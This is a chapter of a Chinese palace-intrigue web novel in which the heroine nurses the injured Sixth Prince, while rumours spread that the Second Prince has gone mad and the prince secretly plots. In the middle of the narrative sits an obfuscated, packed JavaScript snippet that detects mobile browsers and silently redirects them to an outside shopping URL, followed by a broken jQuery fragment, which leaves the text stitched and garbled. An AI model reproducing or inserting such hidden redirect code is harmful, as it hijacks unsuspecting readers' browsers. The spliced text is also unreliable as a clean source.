六皇子宫琰辰回营的消息不胫而走。
前来探望的人如潮水般涌了过来,当然其中也不乏看热闹的,尤以二皇子党的人居主力大军。
当然这些目的不纯之人,都被尽职尽责如门神一般站在门口的桑落给挡了回去。
想看热闹?
当什么热闹都能看吗?
有那功夫还是好好关心一下自家主子的伤势吧,怕是一会儿回来了有你们哭得。
桑落默默翻着白眼心里疯狂吐槽,面上却是一副铁面无私的样子。
来一个挡一个,来两个拦一双。
当然有些人是她挡不起的,就比如说老皇帝和他那狼狈为奸的老搭档许公公,不仅拦不住,还得笑脸给迎进去,谁叫人家是皇帝呢?
老皇帝进去有一会儿功夫了。
前几分钟还听不到动静,安静了一会儿里面就传出了摔杯子的声音。
“到底是谁?谁那么大胆子,居然敢私放野狼进猎场?许培成,去给孤查,务必查出这谋害皇嗣之人。”
“是,陛下。”
桑落在外面听得直咂嘴,这总管的工资挣得也太不容易了。
等老皇帝掀了帘子走人,桑落才有机会溜进帐篷里面。
里面还剩下一名御医在给宫琰辰的伤口上涂药膏,也不是外人,正是上次给桑落普及药材珍贵的御医院首袁大人。
那袁大人看见桑落愣了片刻,半眯着眼睛在桑落有些心虚的脸上打量了一会,心照不宣地笑眯眯打了声招呼,“小公公不愧是殿下身边的人,不仅忠心耿耿还多才多智,实在难能可贵。听说是你自己非要跟着过去,还把殿下给安全带了回来,此番作为远超一名太监的职责,老夫甚是钦佩。”
“大人您过奖了,奴只是做了自己该做的。”
该谦虚的时候谦虚,桑落深知“能力越大责任越大”的道理,不能傻乎乎的什么高帽扔过来都接,蜘蛛侠都搞不定的事她能拿捏住几分?以后被卖了都没处说理去。
亏本的生意不干,坚决不能干!
那院首倒是也没刻意为难人,见桑落不搭话这事也就揭过去了。
他把桑落叫到身边,教给她如何上药如何包扎,还有后面伤口的护理和注意事项。
老院首乐呵呵的,对于这种一学就会的孩子特别的喜欢,直夸她有灵气。
这边刚交代完了,老院首背起自己的小药箱抬屁股就要走人,桑落架着一双沾满药膏的手有些怔楞。
“这……这就要走了吗?”
老院首捋了捋胡子,比她还要困惑,“不然呢?吃了饭再走?”
“不是,殿下身上这么多伤口呢,您就撂挑子不管了,全都交给我了吗?”
“六殿下这伤吧,三分靠药七分靠养,你给他把药涂好了让他好好歇着就行了,安神汤一会儿就有人送过来,老夫还得去二殿下那边看看呢,出了这么大的事,总不能面都不露吧?陛下那边也说不过去啊。”
说起二殿下才让桑落想起还有这么号人,确实跟宫知尧那两条废掉的腿比起来,小皇子这点儿伤简直可以忽略不提。
人家话都说到这份上了,桑落也不好意思留人,忙把人给送了出去,转身回来,看着半靠在软榻上一脸委屈巴巴的小皇子,轻叹了口气。
“别怕,还有我呢,我来帮你处理伤口。”
桑落在旁边的水盆里再次洗干净手,又慎重地用烈性白酒给手消了消毒,这才挖了一大块药膏,小心翼翼给宫琰辰的伤口上药。
“嘶!”
刚挨到伤口,宫琰辰就发出了吸冷气的声音,一张精致俊美的脸紧巴巴皱在了一起。
“很疼吗?”
“疼,特别得疼,要呼呼,呼呼就不疼了。”
“……”
手痒。
想打人。
但看在今天情况特殊的份上,暂且忍他亿下。
“这样就不疼了吧?”桑落细心给每一处伤口涂抹了些药膏,有几处伤口微有些深,大多数都只是擦伤,可以说,是不幸中的万幸了。
“还是疼着呢。”宫琰辰如撒娇的小兽般蹭了蹭桑落的手,“姐姐,我有些后怕,那狼群……姐姐,今夜你在这里陪着我可好?”
看着那可怜兮兮的样子,桑落心软的毛病又犯了,她呼噜了两下小皇子的发顶,无奈叹了口气,算是应了下来。
夜里还有点凉。
桑落裹了件披风陪坐在小皇子的床前讲第十八个哄睡故事的时候,才后知后觉自己是被坑了。
“……你就实话说吧,到底怎么样你才肯乖乖睡觉?”
桑落拿出了和熊孩子谈判的架势,决定为自己争取一点实际利益。
别的不多说,觉你总得让人睡吧?又没个wifi你指着谁给你通宵熬夜呢?
“姐姐,我想我母妃了……”
“你母妃?她不是……”不是刚出生母妃就遭陷害惨死了吗?
见都没见过的人,怎么想?
“年幼时,每次生病昏睡,都会梦到一名女子,温柔抱着我安慰我,还会哄我入睡,我觉得,那就是我的母妃,只是后来长大了,就没有再梦到过了。”
原来如此。
大抵每个缺乏母爱的小孩子,都会臆想出完美母亲的形象,在受伤难过,或是遭到同龄人嘲笑欺辱的时候,那个想象出的身影,就如同守卫心灵的铠甲,将脆弱的孩子包裹在其中,留下一片干净纯粹的净土。
那是每一个失去母爱小孩子的伊甸园。
桑落脱掉鞋子,支着一只手侧躺在床边的位置,另一只手有些费劲地轻拍宫琰辰坚实挺拔的后脊。
“我给你唱首歌吧。”桑落沉思了一下,想出了一个既能够安慰小皇子,又能够哄睡的法子,“一首……我小时候听过的歌。”
“好啊,我想听姐姐唱歌。”宫琰辰一脸期待地说道。
宫琰辰完全没想到,还能收获意外的惊喜。
他知道桑落非常聪慧,会的东西也很多,可是像唱歌这般有些闺阁女子情怀的事倒是第一次听桑落提起。
桑落的嗓音很好听,虽不似寻常大家闺秀一般柔声细气,却是那种干净纯粹,如树林精灵般灵动充满生机的声线,她哼唱着一首现代时期几乎人人会唱的童谣,在寂静的夜里,编织着美好如夏夜星空般的梦境。
桑落睡着了。
轻微又有些平缓的呼吸在安静的帐篷里微不可闻。
宫琰辰在微微摇曳的烛光中,用眼神描绘着桑落安静的睡颜,心头泛起甜丝丝的静谧。
宫琰辰眼神热烈地在桑落的额头落下一个有些痒意的吻。
桑落,再等我一下,我很快就能够登上那个位置了。
……
第二天早上天刚刚擦亮,桑落就被人给吵醒了。
起床气还没找到地方发泄出来,就听外面似乎有人说二皇子殿下得了癔病。
癔病?
桑落猛地一激灵,扒拉开横在腰间的手臂,翻身下了塌。
“怎么回事?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272150|130400||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
桑落掀开门帘跑出了帐篷,拦下一名值夜的小太监就开始打听八卦。
“二皇子殿下到底怎么了?”
“回桑公公的话,听说,二皇子殿下得了癔病,疯言疯语的,几个人拉都拉不住,正在帐篷里闹着呢。”
“癔病?怎么会得癔病呢?”
昨天看那样子,虽然腿是没得救了,但脑子应该是没什么大问题的,没有明显的伤口,怎么好端端的……
“咱们也是听二皇子殿下那边儿的人说的,昨儿个二皇子殿下被人送了回来,两条腿几乎是废了,连袁御医都摇头说没得治,最后还是陛下下了命令,合御医院之力给二皇子殿下做了截肢,原以为保住二皇子的性命,这事就算过去了,谁想到今儿一早起醒来,二皇子殿下就开始疯言疯语,指着满屋子伺候的人说是狼来了。”
“居然还有这种事……”
这可真是稀奇了,总不能是宫知尧看自己腿没了,伤心过度给自己整疯了吧?
这种事虽说有概率,但从医学上来说是极小的,尤其是帝王家长大的孩子,哪那么容易就受刺激疯掉了?
难道说……
当时在场的除了宫知尧,那就只剩下小皇子宫琰辰了,若是他趁人不备下了黑手,也不是不可能。
自古帝位之争常伴有骨肉相残血流成河,手段残忍无所不用其极,小皇子虽说是在自己身边长大的,天真无邪率直坦诚,但要是一时走了邪念,难保他不会做出什么极端的事情。
桑落陷入了纠结之中。
但那小太监似乎还有自己独到的见解,他环顾了下四周,看没人,这才凑到桑落耳边神神秘秘地说道:“小的祖上是有些真本事在身上的,到了小的这里虽然失传了些,但还有些天眼在,依我看,这二皇子殿下在这林子里,怕是撞到了邪物,邪祟上身啦!”
得。
愚昧无知害死人。
桑落无语地打发走了那名还想拉着她胡扯的小太监,转身回去了。
“姐姐,到底发生何事了?”
宫琰辰睡眼朦胧,一副刚醒来的迷茫样子。
“你二哥疯了。”
“为何会如此?”
宫琰辰吃惊的样子不似作假,看来这事和小皇子没有关系,那就只能是受了刺激,引发了精神障碍性的疾病。
也算他该着了。
这年代没有心理医生,光靠药物或者那些封建迷信的驱邪,不知道什么时候才能治好。
或许……桑落看了眼不知在想些什么的宫琰辰,这崽子是有些紫微星在身上的。
“姐姐,我饿了,有什么东西可以吃吗?”
宫琰辰憋着嘴,可怜兮兮地望着桑落问道。
“我去给你做,你自己起来先洗漱。”
“好。”
看着乖乖巧巧应声的小皇子,桑落暗自嘲笑起自己的疑心病。
这么单纯率直的少年,怎么可能做出残害手足之事呢?
真是想多了。
桑落掀开门帘出去了,宫琰辰一个眼神,帐篷里悄无声息的多了一个人。
宫琰辰看都不看半跪在地上的身影,只漠然地下了道命令。
“派人盯好宫知尧,若有异常,马上禀报。”
“是,主子。”
那身影如来时一般消失在空气中,只留下一脸嘲讽的宫琰辰,眼底全是骇人的杀意。
疯了?
宫琰辰哼笑出声。
二皇兄,为了苟活,当真是好计谋啊。